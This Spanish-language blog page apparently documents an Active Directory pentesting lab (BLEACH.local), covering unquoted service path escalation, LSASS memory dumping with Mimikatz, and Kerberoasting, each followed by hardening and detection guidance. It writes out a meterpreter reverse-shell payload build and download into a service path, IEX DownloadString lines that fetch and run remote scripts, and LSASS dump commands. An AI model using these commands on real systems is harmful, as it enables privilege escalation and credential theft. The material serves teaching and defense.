j0moz4@LIITN:/web:$'s blogKeramon

h0me

c0nt3nt

ad/lab-(bleach.local)

w4ke-up-s4mura1

komm4nds-ch347-sheet

x$$-f0r3st

de4l3r

Active Directory Hacking & Defense Lab (BLEACH.local)

Hacking & Pentesting en Active Directory

Entorno de laboratorio enfocado en el dominio corporativo BLEACH.local. Simulación de vectores de intrusión, escalada de privilegios local, volcado de credenciales en memoria y abuso de protocolos de autenticación en infraestructuras Windows Server.

🏢 Active Directory ⚔️ Red Teaming 🛡️ Blue Teaming 🧪 Laboratorio BLEACH.local

💼 Contexto Profesional y Propósito del Curso

El hacking en Active Directory constituye una de las disciplinas más críticas y demandadas en el ecosistema corporativo actual. Más del 90% de las empresas que componen la lista Fortune 1000 basan su gestión de identidades, autenticación y gobernanza de accesos en entornos de Active Directory Domain Services (AD DS).

Tanto en auditorías de seguridad ofensiva (Red Teaming, pruebas de penetración internas) como en operaciones defensivas (Blue Teaming, detección de amenazas, respuesta a incidentes e ingeniería de detección), dominar los vectores de compromiso de AD resulta esencial.

[!IMPORTANT]
Enfoque de Seguridad Integral: Este material formativo y las prácticas asociadas están estructurados bajo una óptica de defensa en profundidad. Analizar las técnicas ofensivas de los adversarios es el paso indispensable para identificar configuraciones erróneas, auditar permisos excesivos, desplegar reglas de monitorización y mitigar las brechas antes de que puedan ser explotadas.


🗂️ Diapositivas y Programa del Curso (10 Días)

A continuación dispones del material teórico-práctico en formato PDF organizado en 10 jornadas temáticas intensivas:

DÍA 01 🚀
Day 1: Starting Booting

Fundamentos de Active Directory, arquitectura de dominio, controladores de dominio (DC) y arranque del lab.

📄 Ver Diapositivas (PDF)
DÍA 02 🔍
Day 2: Not My Neighbor

Reconocimiento interno de red, enumeración de hosts, puertos clave (LDAP, SMB, Kerberos) y mapeo inicial.

📄 Ver Diapositivas (PDF)
DÍA 03 🧩
Day 3: Blessed Ignorance

Identificación de configuraciones por defecto vulnerables, permisos heredados y brechas de visibilidad.

📄 Ver Diapositivas (PDF)
DÍA 04 🪓
Day 4: Sharpening Axes

Herramientas avanzadas de enumeración en PowerShell: PowerView, AD-Module y recolección de telemetría.

📄 Ver Diapositivas (PDF)
DÍA 05 🧠
Day 5: All Is in Mind

Modelado de amenazas, trazado de rutas de escalada con BloodHound y análisis de grafos de privilegios.

📄 Ver Diapositivas (PDF)
DÍA 06 🧱
Day 6: Untitled (LPE)

Escalada de privilegios local (LPE): Unquoted Service Paths, debilidades de DLL hijacking y servicios.

📄 Ver Diapositivas (PDF)
DÍA 07 ☣️
Day 7: Malwarocalypse

Evasión básica, payloads en memoria, técnicas de bypass de antivirus/EDR y ejecución no supervisada.

📄 Ver Diapositivas (PDF)
DÍA 08 🏆
Day 8: Are You Winning, Son?

Extracción y volcado de credenciales: memoria LSASS, SAM, LSA Secrets, hashes NTLM y Mimikatz.

📄 Ver Diapositivas (PDF)
DÍA 09 🎭
Day 9: Tick-Tac-Toe

Abuso de protocolos Kerberos: Kerberoasting, AS-REP Roasting, solicitud y cracking offline de tickets TGS.

📄 Ver Diapositivas (PDF)
DÍA 10 🏰
Day 10: Muddy Road

Compromiso total del dominio (Domain Admin), persistencia con Golden/Silver Tickets y hardening defensivo.

📄 Ver Diapositivas (PDF)


MÓDULO 01

🧱 LPE: Escalada de Privilegios Local mediante Unquoted Service Paths

La vulnerabilidad conocida como Unquoted Service Path (ruta de servicio no entrecomillada) es una de las debilidades de configuración más recurrentes en sistemas operativos Windows cliente y servidor.

¿Cómo funciona la resolución ambigua de rutas en Windows?

Cuando el Service Control Manager (SCM) de Windows inicia un servicio del sistema, ejecuta el binario especificado en el parámetro ImagePath del registro. Si la ruta absoluta contiene espacios en blanco y no se encuentra encapsulada entre comillas dobles ("), el sistema operativo no puede determinar de forma inequívoca dónde termina el nombre de la carpeta y dónde empieza el nombre del ejecutable.

Ante esta ambigüedad, el intérprete de comandos aplica un mecanismo de búsqueda escalonada hacia atrás, añadiendo la extensión .exe en cada espacio detectado.

Ejemplo de resolución escalonada:

Ruta configurada sin comillas: C:\Program Files\My Custom Service\service.exe

Orden de búsqueda ejecutado por el sistema operativo:

  1. C:\Program.exe (Espacio entre Program y Files)
  2. C:\Program Files\My.exe (Espacio entre My y Custom)
  3. C:\Program Files\My Custom.exe (Espacio entre Custom y Service)
  4. C:\Program Files\My Custom Service\service.exe (Ruta legítima final)

¿Por qué representa un riesgo crítico de seguridad?

  • Ejecución con privilegios máximos: La inmensa mayoría de servicios de Windows se ejecutan bajo la cuenta NT AUTHORITY\SYSTEM o LocalSystem. Si un atacante consigue que Windows cargue su ejecutable en lugar del original, su código heredará el nivel más alto de privilegios locales.
  • No depende de un exploit de kernel: No requiere explotar memoria ni desbordamientos de búfer; se aprovecha estrictamente de una debilidad lógica de configuración y permisos de escritura.
  • Persistencia silenciosa: Cada vez que la máquina se reinicie o el servicio se inicie automáticamente, el binario del atacante volverá a ejecutarse.

Detección y Auditoría en Windows (CMD y PowerShell)

Para localizar servicios candidatos en un equipo auditado, se emplea la utilidad nativa WMIC filtrando servicios del sistema y rutas que ya posean comillas:

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Desglose técnico de la consulta WMIC:
  • wmic service get name,displayname,pathname,startmode: Extrae del WMI la lista de todos los servicios instalados con su nombre interno, nombre descriptivo, ruta al binario (pathname) y tipo de inicio (Automático, Manual, Deshabilitado).
  • | findstr /i /v "C:\Windows\\": Aplica un filtro de exclusión (/v) que descarta servicios ubicados en la carpeta del sistema Windows, donde los permisos suelen ser seguros y sin espacios.
  • | findstr /i /v """: Filtra y elimina todas las líneas que contengan comillas dobles ("), aislando exclusivamente aquellos servicios con rutas desprotegidas.

De forma complementaria, podemos auditar el sistema mediante PowerShell utilizando el módulo PowerUp (incluido en PowerSploit / Empire):

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');
Get-ServiceUnquoted -Verbose
⚠️ Consideraciones sobre la ejecución en memoria con IEX
El uso de IEX (New-Object Net.WebClient).DownloadString(...) es una técnica habitual de evaluación en labs controlados para cargar scripts en memoria sin tocar disco. No obstante, en auditorías reales debe verificarse previamente la integridad del código para evitar la ejecución de dependencias de terceros no auditadas.

Prueba de Concepto en el Laboratorio BLEACH.local

En nuestro laboratorio identificamos un software de terceros instalado en la ruta:
C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Al analizar la ruta, descubrimos que si un usuario con bajos privilegios tiene permisos de escritura en la carpeta C:\Program Files (x86)\IObit\, puede colocar un ejecutable nombrado Advanced.exe. Cuando el servicio se reinicie, Windows intentará ejecutar Advanced.exe antes de acceder a la subcarpeta Advanced SystemCare.

# Generación del binario de diagnóstico en Kali Linux
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=8443 -f exe > shell.exe

# Publicación en servidor HTTP local para transferencia
php -S 0.0.0.0:8080
# Transferencia y colocación estratégica desde el host Windows objetivo
PS C:\Users\jquerito> wget "http://10.0.2.6:8080/shell.exe" -o "C:\Program Files (x86)\IObit\Advanced.exe"

Evidencias y Resultados de la Prueba LPE

Identificación de servicio sin comillas

Figura 1.1: Identificación del servicio con ImagePath sin comillas en Windows.

Auditoría con PowerUp y WMIC

Figura 1.2: Ejecución de WMIC y PowerUp Get-ServiceUnquoted en la consola del host.

Generación de binario en Kali Linux

Figura 1.3: Generación del artefacto ejecutable en el entorno de pruebas de Kali Linux.

Descarga y colocación en ruta intermedia

Figura 1.4: Descarga del binario y posicionamiento en 'C:\Program Files (x86)\IObit\Advanced.exe'.

Reinicio del servicio y captura de sesión SYSTEM

Figura 1.5: Intercepción de la llamada del servicio y elevación a permisos de sistema.

Confirmación de privilegios NT AUTHORITY\SYSTEM

Figura 1.6: Confirmación del contexto de seguridad NT AUTHORITY\SYSTEM en la sesión obtenida.

Verificación final en panel de control

Figura 1.7: Monitorización del proceso del servicio en el Administrador de Tareas.

🛡️ Medidas Defensivas y Hardening frente a Unquoted Service Paths
  • Entrecomillar siempre los ImagePath: Asegurar que todas las claves del registro bajo HKLM\SYSTEM\CurrentControlSet\Services\<NombreServicio>\ImagePath contengan las comillas reglamentarias: "C:\Program Files (x86)\Vendor\Service.exe".
  • Principio de Mínimo Privilegio en ACLs del Sistema de Archivos: Auditar periódicamente con icacls los permisos de las carpetas bajo C:\ y C:\Program Files. Ningún usuario del grupo Users o Authenticated Users debe tener permisos de escritura ((W) o (M)) en directorios raíz o carpetas intermedias.
  • Automatización defensiva: Desplegar políticas GPO o scripts de remediación que recorran el registro y añadan comillas automáticamente a cualquier servicio mal configurado.

MÓDULO 02

🔐 Extracción de Credenciales: LSASS (Local Security Authority Subsystem Service)

El proceso LSASS (lsass.exe) es el pilar central del subsistema de seguridad en arquitecturas Windows. Es el componente encargado de procesar los inicios de sesión, verificar identidades, generar tokens de acceso de seguridad y gestionar los paquetes de autenticación (como NTLM, Kerberos, WDigest, CredSSP y DPAPI).

¿Por qué LSASS es el objetivo prioritario en un test de intrusión?

Para permitir que los usuarios naveguen por recursos de red compartidos (carpetas SMB, bases de datos SQL, portales corporativos) sin necesidad de reintroducir su contraseña constantemente en cada petición, Windows almacena en la memoria de trabajo de LSASS diferentes artefactos de autenticación de las sesiones activas:

  • Hashes NTLM (NT Hash): Derivados de las contraseñas de los usuarios conectados.
  • Tickets Kerberos: TGTs (Ticket Granting Tickets) y TGSs (Ticket Granting Service).
  • Contraseñas en texto plano: En versiones antiguas o sistemas con WDigest activado.
  • Claves maestras DPAPI: Utilizadas para cifrar contraseñas guardadas en navegadores, VPNs y clientes de correo.

Técnicas de Volcado de Memoria de LSASS

Existen diversos métodos para capturar la memoria de lsass.exe. Uno de los enfoques más limpios en auditoría consiste en generar un volcado de proceso (minidump) utilizando utilidades legítimas de administración:

Opción A: Sysinternals ProcDump

Herramienta firmada digitalmente por Microsoft que suele evitar alertas en análisis estáticos tradicionales:

.\procdump.exe -ma lsass.exe C:\Users\jquerito\Desktop\dumpeo.lsass.dmp
Parámetros de ProcDump:
  • -ma: Realiza un volcado completo de memoria (Full memory dump), incluyendo todo el espacio de direcciones del proceso y los metadatos de los módulos cargados.
  • lsass.exe: Nombre del proceso objetivo. Requiere privilegios de Administrador local (SeDebugPrivilege habilitado).
  • dumpeo.lsass.dmp: Archivo de salida que almacena los ~50-80 MB de memoria del proceso.

Opción B: Native LOLBin con comsvcs.dll

Técnica nativa de Windows que utiliza la biblioteca de servicios COM de Windows sin necesidad de compilar ni transferir software externo al host:

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ((Get-Process lsass).Id) C:\Windows\Temp\lsass.dmp full

Análisis Offline con Mimikatz

Ejecutar herramientas ofensivas como Mimikatz directamente en el host objetivo es sumamente ruidoso y suele ser bloqueado de inmediato por soluciones EDR modernas. Por ello, la metodología estándar en auditoría consiste en transferir el archivo .dmp a una máquina controlada por el auditor para analizarlo offline:

# Carga del volcado en Mimikatz
mimikatz # sekurlsa::minidump "C:\Users\jquerito\Desktop\dumpeo.lsass.dmp"
Switch to MINIDUMP : 'C:\Users\jquerito\Desktop\dumpeo.lsass.dmp'

# Extracción de credenciales y hashes en memoria
mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\jquerito\Desktop\dumpeo.lsass.dmp' file for minidump...

Hashes NTLM y Ataques Pass-the-Hash en Active Directory

El NT Hash es el resultado de aplicar la función criptográfica MD4(UTF-16LE(password)). En entornos Windows, el hash no es un simple comprobador: actúa como el equivalente operativo de la contraseña.

  • Pass-the-Hash (PtH): Si un atacante extrae el hash NTLM de una cuenta de Administrador de Dominio, no necesita descifrar la clave original en texto claro. Puede autenticarse directamente frente a otros servidores y controladores de dominio mediante herramientas como CrackMapExec, Impacket o WMI inyectando el hash en el protocolo de autenticación NTLM.
  • Cracking Offline: Con el hash en su poder, el atacante puede someterlo a ataques de fuerza bruta masivos en GPUs locales con Hashcat o John the Ripper sin generar bloqueos de cuenta por intentos fallidos en el Domain Controller.

Evidencias Gráficas del Laboratorio LSASS

Volcado de memoria de LSASS

Figura 2.1: Proceso de volcado de la memoria de lsass.exe en el sistema Windows 10.

Comprobación del tamaño del volcado dmp

Figura 2.2: Generación exitosa del archivo de volcado dumpeo.lsass.dmp en el escritorio.

Extracción de credenciales con Mimikatz

Figura 2.3: Mimikatz parseando el minidump y exponiendo hashes NTLM y sesiones activas.

🛡️ Defensa y Contramedidas frente al Volcado de LSASS
  • Habilitar LSA Protection (RunAsPPL): Configurar la clave de registro HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1. Esto obliga a que LSASS se ejecute como un Protected Process Light, impidiendo que procesos no firmados por Microsoft abran handles con permisos PROCESS_VM_READ.
  • Windows Defender Credential Guard: Utiliza seguridad basada en virtualización (VBS) para aislar los secretos de LSASS dentro de un microkernel virtual (Isolated User Mode o IUM), impidiendo el acceso a la memoria incluso si el atacante posee privilegios de SYSTEM.
  • Restringir SeDebugPrivilege: Eliminar el privilegio de depuración de programas a cualquier cuenta que no sea estrictamente un servicio del sistema o administrador local crítico.
  • Reglas de Detección (EDR / SIEM): Monitorizar eventos de Sysmon Event ID 10 (ProcessAccess) donde el proceso objetivo sea lsass.exe con llamadas sospechosas como rundll32.exe o procdump.exe.

MÓDULO 03

🎭 Kerberoasting: Abuso de Service Principal Names (SPN) y Cuentas de Servicio

Kerberoasting es una de las técnicas de post-explotación más elegantes y efectivas dentro de un dominio de Active Directory. Su gran ventaja táctica radica en que no requiere explotar ninguna vulnerabilidad de software: abusa del comportamiento legítimo y nativo del protocolo de autenticación Kerberos.

¿Qué es un SPN y por qué importa?

En Active Directory, un Service Principal Name (SPN) es un identificador único que vincula una instancia de un servicio en red (por ejemplo, Microsoft SQL Server, servicios web IIS, Exchange) con una cuenta de usuario específica del dominio bajo la cual corre dicho servicio.

Ejemplos comunes de SPNs registrados:

  • MSSQLSvc/db01.bleach.local:1433 (Servicio de base de datos SQL)
  • HTTP/webportal.bleach.local (Servidor web corporativo)

Por diseño del protocolo Kerberos, cualquier usuario autenticado del dominio (incluso la cuenta con menores privilegios de la organización) tiene derecho a solicitar al Controlador de Dominio (KDC) un ticket de servicio denominado TGS (Ticket Granting Service) para comunicarse con cualquier SPN registrado.

¿Por qué el Ticket TGS permite Cracking Offline?

Cuando el KDC emite el ticket TGS, cifra una parte fundamental del mensaje utilizando la clave derivada de la contraseña de la cuenta de servicio asociada al SPN.

Dado que el atacante recibe este blob cifrado directamente en su sesión, puede extraerlo y llevarlo a su propia máquina para realizar un ataque de diccionario o fuerza bruta offline con herramientas como Hashcat (modo 13100 - Kerberos 5 TGS-REP etype 23).

Ventajas del Cracking Offline para el atacante:
  • Cero interacción con el Dominio: El atacante solo realiza una única petición legítima de ticket TGS al KDC. El proceso de cracking ocurre en su propio hardware (GPU), sin generar bloqueos de cuenta ni alertas por intentos fallidos de autenticación.
  • Frecuentes contraseñas débiles: Históricamente, muchas cuentas de servicio de Active Directory son creadas por administradores con contraseñas que nunca expiran y de escasa complejidad para evitar caídas de aplicaciones.

Extracción Automatizada de Tickets con PowerShell

Existen diversos módulos de PowerShell para solicitar los tickets TGS y exportarlos en un formato preparado para su posterior procesamiento:

Método A: Utilizando PowerView

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');
Invoke-Kerberoast
Qué hace Invoke-Kerberoast internamente:
  • Consulta mediante LDAP todos los objetos del dominio que tengan el atributo servicePrincipalName definido y no nulo.
  • Filtra las cuentas que corresponden a cuentas de usuario (descartando cuentas de equipo que usan contraseñas complejas de 120 caracteres generadas por el sistema).
  • Invoca la API de Windows KerberosRequestorSecurityToken para solicitar formalmente los tickets TGS al KDC.
  • Extrae la sección cifrada del ticket devuelto y la imprime formateada en pantalla.

Método B: Utilizando Empire con formato Hashcat

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');
Invoke-Kerberoast -OutputFormat Hashcat

Al especificar -OutputFormat Hashcat, la salida se estructura directamente con la sintaxis $krb5tgs$23$*... lista para ser guardada en un fichero de texto y pasada a la GPU.

Evidencias del Ataque Kerberoasting

Ejecución de Kerberoasting en PowerShell

Figura 3.1: Identificación de cuentas con SPN y petición de tickets TGS en BLEACH.local.

Extracción de hashes de tickets TGS

Figura 3.2: Volcado del ticket TGS cifrado bajo el algoritmo RC4-HMAC.

Formato compatible con Hashcat

Figura 3.3: Extracción estructurada con Invoke-Kerberoast en formato compatible con Hashcat.

🛡️ Estrategias de Mitigación y Detección frente a Kerberoasting
  • Implementar Group Managed Service Accounts (gMSA): Las cuentas de servicio administradas por grupo (gMSA) eliminan las contraseñas estáticas gestionadas manualmente. Active Directory rota automáticamente sus claves de 128 caracteres, haciendo matemáticamente inviable el cracking offline.
  • Contraseñas de Alta Complejidad (25+ caracteres): Si se deben usar cuentas de usuario convencionales para servicios, exigir contraseñas aleatorias de longitud superior a 25 caracteres que resistan diccionarios y ataques de fuerza bruta.
  • Migración a Cifrado AES: Configurar las cuentas de servicio para admitir únicamente cifrado AES128_HMAC_SHA1 y AES256_HMAC_SHA1, deshabilitando el cifrado arcaico RC4-HMAC (etype 0x17), que resulta mucho más rápido de crackear en GPU.
  • Detección en SIEM (Event ID 4769): Monitorizar en los Domain Controllers el evento 4769 (A Kerberos service ticket was requested) con tipo de cifrado Ticket Encryption Type: 0x17 solicitado por cuentas de usuario estándar de forma anómala o masiva.

📎 Recursos de Aprendizaje y Referencias Técnicas

Lecturas recomendadas, herramientas de referencia y fuentes técnicas utilizadas para el diseño y auditoría del laboratorio: